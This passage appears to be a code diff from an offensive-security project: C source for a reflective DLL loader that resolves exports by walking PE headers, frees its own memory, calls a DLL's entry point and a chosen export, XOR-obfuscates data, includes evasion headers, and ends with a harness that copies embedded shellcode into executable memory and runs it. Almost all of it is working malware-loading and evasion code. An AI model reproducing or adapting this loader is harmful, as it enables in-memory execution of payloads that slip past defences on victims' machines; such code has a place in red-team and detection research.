PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD *names = (DWORD *)(base + exports->AddressOfNames);
DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);
WORD *ordinals = (WORD *)(base + exports->AddressOfNameOrdinals);
for (DWORD i = 0; i < exports->NumberOfNames; i++)
{
char *currentName = (char *)(base + names[i]);
// Manual String Compare
const char *s1 = currentName;
const char *s2 = targetName;
int match = 1;
while (*s1 && *s2)
{
if (*s1 != *s2)
{
match = 0;
break;
}
s1++;
s2++;
}
if (match && *s1 == *s2)
{
// Ensure both ended at null terminator
return (void *)(base + functions[ordinals[i]]);
}
}
return NULL;
}
// Free loader and call DLL
void FreeLoader(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase)
{
INFO_MSG("=== STARTED PICO ===");
INFO_MSG("Cleaning Loader memory");
KERNEL32$VirtualFree(loader, 0, MEM_RELEASE);
INFO_MSG("Calling DLL Entry Point");
dllEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
_DLLTargetFunction pTargetFunction = (_DLLTargetFunction)GetExportAddress(dllBase, TARGET_FUNCTION);
if (pTargetFunction != NULL)
{
SUCCESS_MSG("%s Executed", TARGET_FUNCTION);
pTargetFunction();
}
else
ERROR_MSG("%s Not Found", TARGET_FUNCTION);
KERNEL32$ExitThread(0);
}
+18
View File
@@ -0,0 +1,18 @@
#include <windows.h>
#include "include/memory.h"
#include "evasion/hooks.h"
#include "evasion/mask.h"
#include "utils/debug.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread(DWORD dwExitCode);
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
typedef void(WINAPI *_DLLTargetFunction)();
char TARGET_FUNCTION[128] = {};
// Global allocated memory
MEMORY_LAYOUT gMemory;
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include <windows.h>
#include "include/tcg.h"
#ifdef DEBUG
#define SUCCESS_MSG(message, ...) dprintf("[+] " message, ##__VA_ARGS__)
#define INFO_MSG(message, ...) dprintf("[*] " message, ##__VA_ARGS__)
#define WARN_MSG(message, ...) dprintf("[!] " message, ##__VA_ARGS__)
#define ERROR_MSG(message, ...) dprintf("[-] " message, ##__VA_ARGS__)
#else
#define SUCCESS_MSG(message, ...) ((void)0)
#define INFO_MSG(message, ...) ((void)0)
#define WARN_MSG(message, ...) ((void)0)
#define ERROR_MSG(message, ...) ((void)0)
#endif
+9
View File
@@ -0,0 +1,9 @@
#include "utils.h"
void XORData(char *data, DWORD len, char *key, DWORD keyLen)
{
for (DWORD i = 0; i < len; i++)
{
data[i] ^= key[i % keyLen];
}
}
+6
View File
@@ -0,0 +1,6 @@
#pragma once
#include <windows.h>
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
void XORData(char *data, DWORD len, char *key, DWORD keyLen);
+15
View File
@@ -0,0 +1,15 @@
#include <windows.h>
#include "pic.h"
int main()
{
PVOID pShellcode = VirtualAlloc(NULL, crystal_loader_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, crystal_loader, crystal_loader_len);
((void(*)())pShellcode)();
return 0;
}